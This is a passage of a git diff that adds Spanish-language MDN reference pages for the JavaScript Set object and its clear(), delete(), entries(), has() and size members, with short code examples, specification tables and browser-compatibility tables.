+<p>El método <code><strong>clear()</strong></code> remueve todos los elementos de un objeto <code>Set</code>.</p>
+
+<h2 id="Syntaxis">Syntaxis</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.clear();</code></pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_clear">Usando el método clear</h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add(1);
+mySet.add("foo");
+
+mySet.size;       // 2
+mySet.has("foo"); // true
+
+mySet.clear();
+
+mySet.size;       // 0
+mySet.has("bar")  // false
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop("19.0")}}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatGeckoMobile("19.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/set/delete/index.html b/files/es/web/javascript/referencia/objetos_globales/set/delete/index.html
new file mode 100644
index 0000000000..3e5544e06a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/set/delete/index.html
@@ -0,0 +1,117 @@
+---
+title: Set.prototype.delete()
+slug: Web/JavaScript/Referencia/Objetos_globales/Set/delete
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>delete()</strong></code> remueve el elemento especificado del objeto <code>Set</code>.</p>
+
+<h2 id="Syntaxis">Syntaxis</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.delete(value);</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt>valor</dt>
+ <dd>Requerido. El valor del elemento a remover del objeto <code>Set</code>.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p><code>true</code> si el elemento ha sido removido exitosamente en el <code>Set</code>; de otra manera retorna <code>false</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_delete">Usando el método <code>delete</code></h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add("foo");
+
+mySet.delete("bar"); // Retorna false. No hay elemento "bar" para ser removido.
+mySet.delete("foo"); // Retorna true.  Removido exitosamente.
+
+mySet.has("foo");    // Retorna false. El elemento "foo" ya no está presente.
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.clear()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/set/entries/index.html b/files/es/web/javascript/referencia/objetos_globales/set/entries/index.html
new file mode 100644
index 0000000000..ba07d24187
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/set/entries/index.html
@@ -0,0 +1,71 @@
+---
+title: Set.prototype.entries()
+slug: Web/JavaScript/Referencia/Objetos_globales/Set/entries
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/entries
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>entries()</strong></code> devuelve un nuevo objeto de tipo <code>Iterator</code> que contiene<strong> un array de tuplas <code>[value, value]</code></strong> por cada elemento en el <code>Set</code> original, manteniendo el orden de inserción. En los objetos de tipo <code>Set</code> no existe una clave <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">key</span></font> como ocurre en los objetos de tipo <code>Map</code>. Sin embargo, para mantener una API similar a la de los objetos de tipo <code>Map</code>, cada <em>entry</em> contiene el mismo valor para su clave y valor, devolviendo por tanto un array de tuplas <code>[value, value]</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-entries.html")}}</div>
+
+<p class="hidden">El código de este ejemplo interactivo esta almacenado en un repositorio de GitHub. Si quieres contribuir al proyecto de ejemplos interativos, simplemente clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una pull request.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.entries()</code></pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un nuevo objeto de tipo <code>Iterator</code> que contiene un array de tuplas <code>[value, value]</code> por cada elemento en el <code>Set</code> original, en orden de inserción.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_entries">Usando el método <code>entries</code></h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add('foobar');
+mySet.add(1);
+mySet.add('baz');
+
+var setIter = mySet.entries();
+
+console.log(setIter.next().value); // ["foobar", "foobar"]
+console.log(setIter.next().value); // [1, 1]
+console.log(setIter.next().value); // ["baz", "baz"]
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Commentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.entries', 'Set.prototype.entries')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.entries', 'Set.prototype.entries')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página ha sido generada a partir de datos estructurados. Si te apetece contribuir, comprueba <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos una pull request.</div>
+
+<p>{{Compat("javascript.builtins.Set.entries")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.keys()")}}</li>
+ <li>{{jsxref("Set.prototype.values()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/set/has/index.html b/files/es/web/javascript/referencia/objetos_globales/set/has/index.html
new file mode 100644
index 0000000000..e133de2d00
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/set/has/index.html
@@ -0,0 +1,124 @@
+---
+title: Set.prototype.has()
+slug: Web/JavaScript/Referencia/Objetos_globales/Set/has
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Prototype
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/has
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>has()</strong></code> retorna un booleano indicando si el elemento especificado existe en el objeto <code>Set</code> o no.</p>
+
+<h2 id="Syntaxis">Syntaxis</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.has(value);</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt>valor</dt>
+ <dd>Requerido. El valor del cual se probará su presencia en el objeto <code>Set</code>.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<dl>
+ <dt>Booleano</dt>
+ <dd>Retorna <code>true</code> si el elemento con el valor especificado existe en el objeto  <code>Set</code>; de otra manera retorna <code>false</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_has">Usando el método <code>has</code></h3>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add("foo");
+
+mySet.has("foo");  // retorna true
+mySet.has("bar");  // retorna false
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-set.prototype.has', 'Set.prototype.has')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.has', 'Set.prototype.has')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>38</td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("Set.prototype.add()")}}</li>
+ <li>{{jsxref("Set.prototype.delete()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/set/index.html b/files/es/web/javascript/referencia/objetos_globales/set/index.html
new file mode 100644
index 0000000000..db091b3a59
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/set/index.html
@@ -0,0 +1,230 @@
+---
+title: Set
+slug: Web/JavaScript/Referencia/Objetos_globales/Set
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Object
+  - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <strong><code>Set</code></strong> permite almacenar valores únicos de cualquier tipo, incluso {{Glossary("Primitive", "valores primitivos")}} u referencias a objetos.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">new Set([iterable]);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>iterable</dt>
+ <dd>Si un <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">objeto iterable </a>es pasado, todos sus elementos serán añadidos al nuevo Set. Si no se especifica este parámetro, o si su valor es <code>null,</code> el nuevo <code>Set</code> estará vacío.</dd>
+</dl>
+
+<h3 id="Valor_retornado">Valor retornado</h3>
+
+<p>Una nueva instancia de <code>Set</code>.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Los objetos <code><strong>Set</strong></code> son colecciones de valores. Se puede iterar sus elementos en el orden de su inserción. Un valor en un <code>Set</code> <strong>sólo puede estar una vez</strong>; éste es único en la colección <code>Set</code>.</p>
+
+<h3 id="Igualdad_de_valores">Igualdad de valores</h3>
+
+<p>Ya que cada valor en el Set tiene que ser único, la igualdad del valor será comprobada y esta igualdad no se basa en el mismo algoritmo usado en el operador <code>===</code>. Específicamente, para Sets, <code>+0</code> (el cual es estrictamente igual a <code>-0</code>) y <code>-0</code> son valores distintos. Sin embargo, esto ha cambiado en la última especificación ECMAScript 6. Iniciando con Gecko 29.0 {{geckoRelease("29")}} ({{bug("952870")}}) y un <a href="https://code.google.com/p/v8/issues/detail?id=3069">recent nightly Chrome</a>, <code>+0</code> y <code>-0</code> son tratados como el mismo valor en objetos <code>Set</code>. </p>
+
+<p><code>NaN</code> y <code>undefined</code> también pueden ser almacenados en un Set. <code>NaN</code> es considerado igual que <code>NaN</code> (A pesar que <code>NaN !== NaN</code>).</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><code>Set.length</code></dt>
+ <dd>El valor de la propiedad <code>length</code> es 0.</dd>
+ <dt>{{jsxref("Set.@@species", "get Set[@@species]")}}</dt>
+ <dd>La función constructora que es usada para crear objetos derivados.</dd>
+ <dt>{{jsxref("Set.prototype")}}</dt>
+ <dd>Representa el prototipo para el constructor Set. Permite la adición de propiedades a todos los objetos Set.</dd>
+</dl>
+
+<h2 id="Instancias_Set">Instancias <code>Set</code></h2>
+
+<p>Todas las instancias de <code>Set</code> heredan de {{jsxref("Set.prototype")}}.</p>
+
+<h3 id="Propiedades_2">Propiedades</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Set/prototype','Properties')}}</p>
+
+<h3 id="Métodos">Métodos</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Set/prototype','Methods')}}</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_objeto_Set">Usando el objeto <code>Set</code></h3>
+
+<pre class="brush: js">const mySet = new Set();
+
+mySet.add(1);
+mySet.add(5);
+mySet.add('some text');
+
+const o = {a: 1, b: 2};
+mySet.add(o);
+
+<code>mySet.add({a: 1, b: 2}); // La variable "o" referencia a otro objeto, por lo que agrega otro valor.
+</code>
+mySet.has(1); // true
+mySet.has(3); // false, 3 no ha sido añadido al Set
+mySet.has(5);              // true
+mySet.has(Math.sqrt(25));  // true
+mySet.has('Some Text'.toLowerCase()); // true
+mySet.has(o); // true
+
+mySet.size; // 5
+
+mySet.delete(5); // Elimina 5 del Set
+mySet.has(5);    // false, 5 fue eliminado
+
+mySet.size; // 4, sólo removimos un valor
+<code>console.log(mySet);// Set {1, "some text", Object {a: 1, b: 2}, Object {a: 1, b: 2}}</code></pre>
+
+<h3 id="Iterando_los_Sets">Iterando los Sets</h3>
+
+<pre class="brush: js">// iterar todos los items de un set
+// imprimir en consola los items en orden: 1, 'some text', {a: 1, b: 2}
+for (let item of mySet) console.log(item);
+
+// imprimir en consola los items en orden: 1, 'some text', {a: 1, b: 2}
+for (let item of mySet.keys()) console.log(item);
+
+// imprimir en consola los items en orden: 1, 'some text', {a: 1, b: 2}
+for (let item of mySet.values()) console.log(item);
+
+// imprimir en consola los items en orden: 1, 'some text', {a: 1, b: 2}
+//(key y value poseen en mismo valor en este caso)
+for (let [key, value] of mySet.entries()) console.log(key);
+
+// crear un Array plano con los mismos valores, utilizando Array.from
+const myArr = Array.from(mySet); // [1, 'some text', {a: 1, b: 2}]
+
+// también se puede utilizar para guardar elementos del DOM
+mySet.add(document.body);
+mySet.has(document.querySelector('body')); // true
+
+// crear un Array plano con los mismos valores, utilizando propagación
+const mySet2 = new Set([1,2,3,4]);
+mySet2.size; // 4
+[...mySet2]; // [1,2,3,4]
+
+// la intersección entre dos sets puede ser simulada con
+const intersection = <code>new Set([...set1].filter(x =&gt; set2.has(x)));</code>
+
+<code>// la diferencia puede ser simulada con
+const difference = new Set([...set1].filter(x =&gt; !set2.has(x)));</code>
+
+// Iteración utilizando forEach
+mySet.forEach((value) =&gt; {
+  console.log(value);
+});
+
+// 1
+// 2
+// 3
+// 4</pre>
+
+<h3 id="Implementando_operaciones_básicas">Implementando operaciones básicas</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">Set<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>isSuperset <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>subset<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> elem <span class="keyword token">of</span> subset<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span><span class="keyword token">this</span><span class="punctuation token">.</span><span class="function token">has</span><span class="punctuation token">(</span>elem<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+            <span class="keyword token">return</span> <span class="keyword token">false</span><span class="punctuation token">;</span>
+        <span class="punctuation token">}</span>
+    <span class="punctuation token">}</span>
+    <span class="keyword token">return</span> <span class="keyword token">true</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+Set<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>union <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>setB<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> union <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Set</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> elem <span class="keyword token">of</span> setB<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        union<span class="punctuation token">.</span><span class="function token">add</span><span class="punctuation token">(</span>elem<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+    <span class="keyword token">return</span> union<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+Set<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>intersection <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>setB<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> intersection <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Set</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> elem <span class="keyword token">of</span> setB<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span><span class="function token">has</span><span class="punctuation token">(</span>elem<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+            intersection<span class="punctuation token">.</span><span class="function token">add</span><span class="punctuation token">(</span>elem<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="punctuation token">}</span>
+    <span class="punctuation token">}</span>
+    <span class="keyword token">return</span> intersection<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+Set<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>difference <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>setB<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> difference <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Set</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> elem <span class="keyword token">of</span> setB<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        difference<span class="punctuation token">.</span><span class="keyword token">delete</span><span class="punctuation token">(</span>elem<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+    <span class="keyword token">return</span> difference<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">//Examples</span>
+<span class="keyword token">var</span> setA <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Set</span><span class="punctuation token">(</span><span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">,</span><span class="number token">2</span><span class="punctuation token">,</span><span class="number token">3</span><span class="punctuation token">,</span><span class="number token">4</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+    setB <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Set</span><span class="punctuation token">(</span><span class="punctuation token">[</span><span class="number token">2</span><span class="punctuation token">,</span><span class="number token">3</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+    setC <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Set</span><span class="punctuation token">(</span><span class="punctuation token">[</span><span class="number token">3</span><span class="punctuation token">,</span><span class="number token">4</span><span class="punctuation token">,</span><span class="number token">5</span><span class="punctuation token">,</span><span class="number token">6</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+setA<span class="punctuation token">.</span><span class="function token">isSuperset</span><span class="punctuation token">(</span>setB<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// =&gt; true</span>
+setA<span class="punctuation token">.</span><span class="function token">union</span><span class="punctuation token">(</span>setC<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// =&gt; Set [1, 2, 3, 4, 5, 6]</span>
+setA<span class="punctuation token">.</span><span class="function token">intersection</span><span class="punctuation token">(</span>setC<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// =&gt; Set [3, 4]</span>
+setA<span class="punctuation token">.</span><span class="function token">difference</span><span class="punctuation token">(</span>setC<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// =&gt; Set [1, 2]</span></code></pre>
+
+<h3 id="Relación_con_los_objetos_Array">Relación con los objetos <code>Array</code></h3>
+
+<pre class="brush: js">const myArray = ['value1', 'value2', 'value3'];
+
+// Utiliza el constructor para para crear un set con el mismo contenido que un array
+const mySet = new Set(myArray);
+
+mySet.has('value1'); // devuelve true
+
+// Utiliza la propagación para crear un array con los contenidos de un set
+console.log([...mySet]); // Muestra lo mismo utilizando myArray</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set-objects', 'Set')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set-objects', 'Set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada desde información estructurada. Si desea contribuir, por favor revise la información en <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envie un pull request/merge request.</div>
+
+<p>{{Compat("javascript.builtins.Set")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/set/size/index.html b/files/es/web/javascript/referencia/objetos_globales/set/size/index.html
new file mode 100644
index 0000000000..444ad7ae8a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/set/size/index.html
@@ -0,0 +1,106 @@
+---
+title: Set.prototype.size
+slug: Web/JavaScript/Referencia/Objetos_globales/Set/size
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/size
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad de acceso <code><strong>size</strong></code> devuelve el número de elementos que hay en el objeto {{jsxref("Set")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El valor de <code>size</code> es un entero que representa cuantas entradas tiene el objeto <code>Set</code>. La función de accesso set para <code>size</code> es <code>undefined</code>; no se puede cambiar esta propiedad.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_size">Usando <code>size</code></h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add(1);
+mySet.add(5);
+mySet.add("un texto")
+
+mySet.size; // 3
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-set.prototype.size', 'Set.prototype.size')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-set.prototype.size', 'Set.prototype.size')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>38</td>
+   <td>{{ CompatGeckoDesktop("19") }} [1]</td>
+   <td>{{ CompatIE("11") }}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] From Gecko 13 (Firefox 13 / Thunderbird 13 / SeaMonkey 2.10) to Gecko 18 (Firefox 18 / Thunderbird 18 / SeaMonkey 2.15 / Firefox OS 1.0.1 / Firefox OS 1.1) la propiedad size fue implementado como un método <code>Set.prototype.size()</code>, esto fue cambiado a una propiedad en versiones posteriores conforme la especificación ECMAScript 6 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=807001">bug 807001</a>).</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+</ul>
